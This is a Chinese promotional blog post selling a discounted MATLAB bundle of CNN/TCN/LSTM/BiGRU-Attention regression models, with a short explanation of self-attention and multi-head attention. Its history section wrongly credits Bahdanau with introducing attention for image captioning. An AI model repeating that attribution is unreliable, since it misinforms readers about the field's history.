CNN/TCN/LSTM/BiGRU-Attention到底哪个模型效果最好？注意力机制全家桶来啦！-编程知识

声明：文章是从本人公众号中复制而来，因此，想最新最快了解各类智能优化算法及其改进的朋友，可关注我的公众号：强盛机器学习，不定期会有很多免费代码分享~

数据介绍

效果展示

原理简介

代码目录

代码获取

经常有小伙伴问我，面对如此多的预测程序，到底哪一个模型预测效果的最好？事实上，不存在一种预测效果最好的程序。

根据“没有免费午餐定理”：不存在一种机器学习算法适合于任何领域或任务。如果有人宣称自己的模型在所有问题上都好于其他模型，那么他肯定是在吹牛。

也就是说，模型预测效果同时取决于数据和模型的匹配程度，任何算法都有局限性，并不是模型越复杂效果越好（但是新颖的模型肯定更受审稿人喜爱一些）。没有数据空谈模型效果不现实，只有尝试了才知道是否匹配。

因此，为了解决大家的选择困难症，本期为大家推出了Attention模型全家桶！将CNN/TCN/LSTM/BiGRU-Attention四种多变量回归模型打包到全家桶中，方便大家选择最适合自己数据的模型！

当然，全家桶价格也是非常优惠的，相当于单买的5折优惠左右！同时，作者在这里承诺，一次购买永久更新！日后也会推出其他算法结合注意力机制的模型，如BiTCN-Attention等等，但如果你之后再买，一旦推出新模型，价格肯定是会上涨的！所以需要创新或对比的小伙伴请早下手早超生！！

数据介绍

本期采用的数据是经典的回归预测数据集，是为了方便大家替换自己的数据集，各个变量采用特征1、特征2…表示，无实际含义，最后一列即为输出。

更换自己的数据时，只需最后一列放想要预测的列，其余列放特征即可，无需更改代码，非常方便！

效果展示

这里以CNN-Attention为例，展示一下模型运行结果（不同模型出图数量与效果可能略有不同，具体可查看全家桶中每个模型的链接）：

训练集预测结果图：

测试集预测结果图：

误差直方图：

线性拟合图：

网络结构图：

命令行窗口误差显示：

以上所有图片，作者都已精心整理过代码，都可以一键运行main直接出图，不像其他代码一样需要每个文件运行很多次！

适用平台：Matlab2023及以上，没有的文件夹里已经免费提供安装包，直接下载即可！

原理简介

此处主要为大家讲解下本期全家桶使用的自注意力机制：

注意力机制最早由Bahdanau提出，通过学习对图像中不同区域的注意力权重，将视觉注意力引入到图像描述生成模型中，从而提升了模型的质量和准确性。后来，注意力机制被广泛应用于其他领域，它通过动态计算注意力权重来适应不同的输入情况。这种机制使得模型能够处理更长的输入序列，可以更好地捕捉序列中的依赖关系。

自注意力机制在传统注意力机制的基础上进行了进一步改良，通过并行计算，同时计算一句话中所有元素之间的相似性得分，从而获取全局的信息而非单一上下文的信息，这使得自注意力机制能够更全面地理解整个序列的语义，并更好地捕捉元素之间的复杂关系，其相关公式如下所示：

式中：Wq、Wk、Wv为线性变化矩阵；Q、K、V分别为查询向量（query）、键向量（key）和值向量（value）；dk为查询向量和键向量的维度。最后，将注意力权重和值向量进行加权求和，得到自注意力机制的输出。

多头自注意力机制引入多个单注意力头，每个注意力头都是一个独立的自注意力机制，学习到一组不同的权重和表示。在多头自注意力机制中，输入序列首先通过线性变换映射到多个不同的query、key、和value空间。每个注意力头都会对这些映射后的查询、键和值进行独立的注意力计算，得到每个位置的表示。最后，将模型中每个注意力头的表示通过线性变换和拼接操作来合并，就得到最终的输出表示。